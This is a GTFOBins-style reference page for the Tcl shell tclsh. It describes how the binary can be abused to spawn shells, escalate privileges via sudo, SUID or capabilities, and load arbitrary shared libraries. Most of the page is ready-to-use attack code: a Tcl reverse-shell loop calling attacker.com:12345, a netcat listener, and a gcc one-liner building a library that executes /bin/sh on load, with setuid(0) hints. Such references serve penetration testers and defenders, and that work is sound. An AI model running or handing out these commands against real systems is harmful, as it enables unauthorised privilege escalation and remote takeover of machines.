tclsh | bokkapig

Shell

This executable can spawn an interactive system shell.

Unprivileged
This function can be performed by any unprivileged user.
```
tclsh
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
tclsh
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
tclsh
```

Reverse shell

This executable can send back a reverse system shell to a listening attacker.

Unprivileged

This function can be performed by any unprivileged user.

tclsh
set s [socket attacker.com 12345];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;

Sudo

This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

tclsh
set s [socket attacker.com 12345];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;

SUID

This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

tclsh
set s [socket attacker.com 12345];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;

ListenerA TCP server can be used on the attacker box to receive the shell.

nc -l -p 12345

Library load

This executable can load shared libraries that may be used to run arbitrary code in the same execution context.

Unprivileged
This function can be performed by any unprivileged user.
```
tclsh
load /path/to/lib.so x
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
tclsh
load /path/to/lib.so x
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
tclsh
load /path/to/lib.so x
```
Capabilities
This function is performed bypassing the usual kernel permission checks if the executable has certain capabilities set.
```
tclsh
load /path/to/lib.so x
```
Payload
As an example, the following can be used to create a minimal shared library (lib.so) that spawns a shell upon loading:
```
echo '__attribute__((constructor)) init() { execl("/bin/sh", "sh", 0); }' \
    | gcc -w -fPIC -shared -o lib.so -x c -
```
Add the usual -p argument to the shell for SUID contexts. Consider calling setuid(0); beforehand if the executable has the CAP_SETUID capability assigned.